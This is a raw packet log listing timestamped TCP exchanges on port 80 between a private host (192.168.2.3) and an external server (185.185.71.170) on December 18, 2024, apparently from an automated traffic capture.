Dec 18, 2024 20:56:35.486423016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.486455917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.486548901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.486790895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.487543106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.487644911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.488508940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.488563061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.488595009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.489609003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.489659071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.489790916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.490088940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.490835905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.490942955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.491343975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.492255926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.492263079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.492527962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.493231058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.493451118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.493588924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.494112015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.494209051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.494627953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.495136976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.495285988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.495759964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.496279955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.496390104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.496530056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.497356892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.497522116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.497914076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.498462915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.498631001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.498815060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.499602079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.499764919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.499840975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.500776052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.500926971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.501261950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.501805067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.501909971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.502346039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.502841949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.502998114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.503736019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.503985882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.504117966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.504230022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.505127907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.505249977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.505383015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.506268024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.506402969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.506650925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.507364035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.507440090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.507693052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.508708000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.508734941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.508929014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.509552002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.509659052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.510040998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.510674000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.510822058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.511082888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.511770964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.511866093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.512027979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.512919903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.513031960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.513992071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.514065981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.514087915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.514307022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.515100002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.515204906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.515280008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.516208887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.516304970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.516537905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.517318964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.517425060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.517515898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.518412113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.518536091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.518729925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.519579887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.519675016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.519768000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.520632982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.520745993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.520839930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.521826982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.521908998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.521981955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.522876978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.522926092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.523484945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.524009943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.524110079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.524746895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.525051117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.525275946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.525454044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.525877953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.526053905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.526458979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.526904106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.575201035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.662271976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.662292004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.662378073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.662981033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.663310051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.663552046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.664411068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.664534092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.664702892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.665718079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.665854931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.666239977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.666613102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.666671038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.666939020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.667527914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.667639017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.668569088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.668663979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.668689013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.668847084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.669375896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.669513941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.669584036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.670176029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.670272112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.670398951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.670882940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.671030998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.671256065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.671926022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.672040939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.672365904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.673065901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.673176050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.673429966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.674175024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.674354076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.674524069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.675354958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.675403118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.676382065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.676587105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.676613092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.677320004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.677567959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.677647114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.678587914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.678613901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.678674936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.678877115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.679698944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.679790974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.679945946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.680828094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.680979013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.681911945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.681937933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.682066917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.682272911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.683099985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.683212996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.684178114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.684350967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.684386015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.684431076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.685285091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.685487986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.685663939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.686367035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.686450958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.687527895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.687607050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.687633991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.688050032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.688604116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.688739061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.689692020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.689716101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.689794064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.689948082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.690799952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.690938950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.691023111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.691924095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.692085981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.693016052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.693044901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.693134069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.693252087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.694104910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.694215059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.694431067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.695228100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.695350885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.695867062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.696326017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.696435928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.697421074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.697562933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.697597027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.697740078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.698587894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.698667049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.698782921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.699635983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.699759007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.700145006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.700743914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.700985909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.701678991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.701858044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.701953888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.702105045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.703088045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.703196049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.704087973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.704149008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.704183102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.704273939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.705198050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.705319881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.705404997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.706296921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.706466913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.706701994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.707453966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.707581997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.707850933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.708621979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.708734035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.708843946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.709640026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.709755898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.709960938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.710767031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.710915089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.711061954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.711932898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.712119102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.712547064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.713016987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.713176012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.714169025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.714231014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.714504004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.714643002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.715269089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.715459108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.715553045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.716273069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.716432095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.716516018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.717128038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.717389107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.718242884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.718297005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.718333006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.719249010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.719403982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.853619099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.853667974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.853733063 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.854049921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.854176044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.854306936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.854856014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.855048895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.855135918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.856050968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.856131077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.856195927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.857100964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.857233047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.857322931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.858192921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.858323097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.858675957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.859436035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.859510899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.859595060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.860419989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.860622883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.860681057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.861622095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.861737967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.861953974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.862637997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.862782001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.862930059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.863756895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.863873005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.864027977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.864870071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.864995956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.865077019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.865988016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.866075039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.866318941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.867042065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.867185116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.867327929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.868155956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.868269920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.868474007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.869309902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.869426966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.870338917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.870418072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.870537043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.870620966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.871464014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.871680975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.871928930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.872664928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.872744083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.872942924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.873718023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.873833895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.873977900 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.874811888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.874944925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.875916004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.876051903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.876079082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.877003908 CET	49747	80	192.168.2.3	185.185.71.170
